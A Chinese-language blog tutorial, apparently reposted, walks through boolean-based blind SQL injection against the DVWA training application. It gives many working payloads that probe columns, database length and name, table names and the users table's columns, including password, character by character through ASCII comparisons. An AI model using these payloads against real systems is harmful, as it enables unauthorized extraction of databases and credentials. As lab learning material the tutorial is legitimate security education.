SQL Injection (Blind)`

2023-11-26 03:28
文章标签 sql database injection blind

本文主要是介绍SQL Injection (Blind)`,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

SQL Injection (Blind)

        SQL Injection (Blind) SQL盲注,是一种特殊类型的SQL注入攻击,它的特点是无法直接从页面上看到注入语句的执行结果。在这种情况下,需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

盲注的主要形式有两种:

        1、基于布尔的盲注(Boolean based):在某些场合下,页面返回的结果只有两种(正常或错误)。通过构造SQL判断语句,查看页面的返回结果(True or False)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。
        2、基于时间的盲注(Time based):又称延时注入,即使用具有延时功能的函数sleep、benchmark等,通过判断这些函数是否正常执行来获取数据库中的数据。

        在 SQL 盲注中,字符型注入通常更容易通过页面上的不同提示来确认注入成功,而数字型注入则可能在页面上不显示直接的区别。这是因为字符型注入可以通过构造不同的字符串来影响 SQL 语句的执行,而数字型注入可能会导致结果为真或假的不同条件,但页面上可能没有直接的可见区别。

Low

1、判断注入类型

        代码并没有对参数做过滤或者验证,且页面返回的结果有两种

if ($exists) {// 用户存在的处理$html .= '<pre>User ID exists in the database.</pre>';
} else {// 用户不存在的处理header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found');$html .= '<pre>User ID is MISSING from the database.</pre>';
}

        首先判断注入的类型,前文已经提到过 字符型的会有不同的提示证明SQL语句被成功执行,而数字型无论SQL对错页面提示的都是相同的 证明SQL语句并没有被执行 

        

                                                                  (为字符型注入)        

 

2、判断列数 

         

        接下来判断字符段数,通过尝试不同的 ORDER BY 子句中的列数,可以逐步确定实际的列数

通过类似于:   1' ORDER BY 1#  如果查询不出错,则至少为1列

           1' ORDER BY 2#  如果查询不出错,则至少为2列

           1' ORDER BY 3#  如果查询不出错,则至少为3列

如下,则字段数为2

  

3、判断数据库名、长度

        接下来,判断数据库名长  ,  length(database()) 可以返回当前数据库名的长度,我们可以通过逻辑条件将其与一个数字进行比较,用以判断

        此处,我们已经知道数据库是DVWA,长度确实是4位

1' and  length(database())>3 #

1' and  length(database())=4 #

 1' and  length(database())>4 #

        判断数据库名称,使用二分法判断数据库的名称,  通过 ASCII(SUBSTR(DATABASE(), 1, 1))  构造逻辑语句来判断数据库名称的每一个字母的ASCII码 

 "dvwa" 的 ASCII 码如下:

  • 'd': 100
  • 'v': 118
  • 'w': 119
  • 'a': 97

1' and ascii(substr(database(),1,1))>68 #

1' and ascii(substr(database(),1,1))<127 #         

两次存在,第一个字符的ASCII值大于68,小于127 则可以确定是一个字母

1' and ascii(substr(database(),1,1))<100 # 

1' and ascii(substr(database(),1,1))>100 # 

两次都不存在,则可以确定该字符的ASCII码的值为100,对照可知 第一个字符为“ d ”

 

1' and ascii(substr(database(),X,1))  判断第2、第3、第4位时,X分别为2、3、4

重复上述步骤,则可解出完整库名(dvwa)

       

4、判断数据库中表名、表长、数量

        关于数据库dvwa中 的表的数量  可以用 下列SQL注入字符串 查询返回当前数据库中表的数量,如果数量符合,整个条件将为真。

1' and (select count (table_name) from information_schema.tables where table_schema=database() )

1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema = DATABASE()) = 2#

如上,可知dvwa库中,有两个表

        判断表1长度:通过SQL 注入字符串 猜解表长,检查当前数据库中某个表的第一个字符的长度是否为等号后的数字 

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #.
.
.
.
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

         由下图可见,当条件为 9 的时候 整个条件为真,所以第一个表的名长度为9

        判断表2长度:通过SQL 注入字符串 猜解表长,检查当前数据库中某个表的第一个字符的长度是否为等号后的数字       LIMIT 1, 1 表示从结果集中获取第二行,即下一个表的表名。   

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=1 # 
.
.
.
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 #

         由下图可见,当条件为 5 的时候 整个条件为真,所以下一个表也就是第二张表名长度为5

        猜解表名,此处和前文猜数据库名方法相似,都是构造判断条件,判断字符的ASCII码的值来确定表名。

        LIMIT 0, 1 表示从结果集的第一行开始,取一行记录。后面的 ,1)SUBSTR 函数的一部分,用于截取字符串的一部分。

        所以我们判断第二个字母的时候  改动部分语句   limit 0,1),2,1))   同理判断第三个字母时为limit 0,1),3,1)) 

        根据下面的字符串,同理,重复下去可得第一个表的名字为 guestbook

#通过 下面的 SQL 注入尝试已经成功地判断了当前数据库中下一个表的第一个字符的 ASCII 值的范围
#第一个字符的 ASCII 值在97到109之间,但不包括103
#ASCII码103对应的字符是小写字母"g"
#所以第一个表的名字的第一个字符为小写字母“g"1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

         LIMIT 1, 1), 1, 1) 用于选择 information_schema.tables 表中的第二个表名,并截取该表名的第一个字符。在 SQL 查询中,LIMIT 1, 1 是一个常见的用法,表示从结果集的第二行开始,取一行记录。而 SUBSTR(..., 1, 1) 则是用于截取字符串的子串,这里用于截取表名的第一个字符。

        还是同理可得,根据以下的注入字符串,修改参数后,重复下去可得第二表的完整表名 users

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>97 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))<122 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>97 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))<122 # 显示存在

        此时我们得到两个表的表名 :  guestbook、users

5、猜解表中字段数量、段长、段名

        判断表中的字段数量,这里我们已经知道了两表中的列数,故不再一个个尝试,用已知数直接进行判断

        构造一个逻辑条件,用于检查名为 'users' 的表是否有超过4列的列数,名为”guestbook“的表是否有超过8列的列数。

1' and (select count(column_name) from information_schema.columns where table_name= 'users')>4 # 
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 
 

        接下来的判断段长、段名的步骤与判断数据库名、库民长的步骤一致,差异只在于参数的不同,故不再赘述,

        我们以users表为例:

        

用下面的注入字符串不断重复(), 可得users表的字段长分别为7,10,9,4,8,6,10,12

#检查名为 'users' 的表的第一个列名的长度是否为1

1' AND LENGTH(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name = 'users' LIMIT 0, 1), 1)) = 1#
……

……

#检查名为 'users' 的表的第一个列名的长度是否为7
1' AND LENGTH(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name = 'users' LIMIT 0, 1), 1)) = 7#

        关于段名的判断,还是通过ASCII码的值,

检查名为 'users' 的表的第一个列名的第一个字符的 ASCII 值是否大于 97

替换参数,重复下去可得users表的第一个字段名为user_id

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))>97#
…………

…………

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1))>97#
…………
…………

         

        重复判断段名的步骤最终得到users表中所有字段名user_id、first_name、last_name、user、password、avatar、last_login、failed_login

(这里太多,太麻烦了,我并没有全部验证,只验证了user_id字段)

Medium

        相较于low,medium的代码利用 mysql_real_escape_string 函数对特殊符号进行转义,包括但不限于 \x00, \n, \r, \,, ', ", 和 \x1a。、

        但是我们依然可以构造语句进行注入

High

        代码使用 cookie 来传递参数 id。如果 SQL 查询结果为空,代码将触发 sleep(seconds) 函数,用于扰乱基于时间的盲注攻击。同时,SQL 查询语句中加入了 LIMIT 1,以确保仅输出一个结果。尽管添加了 LIMIT 1,但通过使用 # 进行注释,我们仍然能够绕过该限制。受限于sleep函数的影响,基于时间的布尔盲注的准确性会受到影响。

这篇关于SQL Injection (Blind)`的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/425049

相关文章

数据库面试必备之MySQL中的乐观锁与悲观锁

《数据库面试必备之MySQL中的乐观锁与悲观锁》:本文主要介绍数据库面试必备之MySQL中乐观锁与悲观锁的相关资料,乐观锁适用于读多写少的场景,通过版本号检查避免冲突,而悲观锁适用于写多读少且对数... 目录一、引言二、乐观锁(一)原理(二)应用场景(三)示例代码三、悲观锁(一)原理(二)应用场景(三)示例

SQL表间关联查询实例详解

《SQL表间关联查询实例详解》本文主要讲解SQL语句中常用的表间关联查询方式,包括:左连接(leftjoin)、右连接(rightjoin)、全连接(fulljoin)、内连接(innerjoin)、... 目录简介样例准备左外连接右外连接全外连接内连接交叉连接自然连接简介本文主要讲解SQL语句中常用的表

SQL server配置管理器找不到如何打开它

《SQLserver配置管理器找不到如何打开它》最近遇到了SQLserver配置管理器打不开的问题,尝试在开始菜单栏搜SQLServerManager无果,于是将自己找到的方法总结分享给大家,对SQ... 目录方法一:桌面图标进入方法二:运行窗口进入方法三:查找文件路径方法四:检查 SQL Server 安

MySQL 中的 LIMIT 语句及基本用法

《MySQL中的LIMIT语句及基本用法》LIMIT语句用于限制查询返回的行数,常用于分页查询或取部分数据,提高查询效率,:本文主要介绍MySQL中的LIMIT语句,需要的朋友可以参考下... 目录mysql 中的 LIMIT 语句1. LIMIT 语法2. LIMIT 基本用法(1) 获取前 N 行数据(

MySQL 分区与分库分表策略应用小结

《MySQL分区与分库分表策略应用小结》在大数据量、复杂查询和高并发的应用场景下,单一数据库往往难以满足性能和扩展性的要求,本文将详细介绍这两种策略的基本概念、实现方法及优缺点,并通过实际案例展示如... 目录mysql 分区与分库分表策略1. 数据库水平拆分的背景2. MySQL 分区策略2.1 分区概念

MySQL高级查询之JOIN、子查询、窗口函数实际案例

《MySQL高级查询之JOIN、子查询、窗口函数实际案例》:本文主要介绍MySQL高级查询之JOIN、子查询、窗口函数实际案例的相关资料,JOIN用于多表关联查询,子查询用于数据筛选和过滤,窗口函... 目录前言1. JOIN(连接查询)1.1 内连接(INNER JOIN)1.2 左连接(LEFT JOI

MySQL 中查询 VARCHAR 类型 JSON 数据的问题记录

《MySQL中查询VARCHAR类型JSON数据的问题记录》在数据库设计中,有时我们会将JSON数据存储在VARCHAR或TEXT类型字段中,本文将详细介绍如何在MySQL中有效查询存储为V... 目录一、问题背景二、mysql jsON 函数2.1 常用 JSON 函数三、查询示例3.1 基本查询3.2

MySQL中动态生成SQL语句去掉所有字段的空格的操作方法

《MySQL中动态生成SQL语句去掉所有字段的空格的操作方法》在数据库管理过程中,我们常常会遇到需要对表中字段进行清洗和整理的情况,本文将详细介绍如何在MySQL中动态生成SQL语句来去掉所有字段的空... 目录在mysql中动态生成SQL语句去掉所有字段的空格准备工作原理分析动态生成SQL语句在MySQL

MySQL中FIND_IN_SET函数与INSTR函数用法解析

《MySQL中FIND_IN_SET函数与INSTR函数用法解析》:本文主要介绍MySQL中FIND_IN_SET函数与INSTR函数用法解析,本文通过实例代码给大家介绍的非常详细,感兴趣的朋友一... 目录一、功能定义与语法1、FIND_IN_SET函数2、INSTR函数二、本质区别对比三、实际场景案例分

MySQL中的交叉连接、自然连接和内连接查询详解

《MySQL中的交叉连接、自然连接和内连接查询详解》:本文主要介绍MySQL中的交叉连接、自然连接和内连接查询,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、引入二、交php叉连接(cross join)三、自然连接(naturalandroid join)四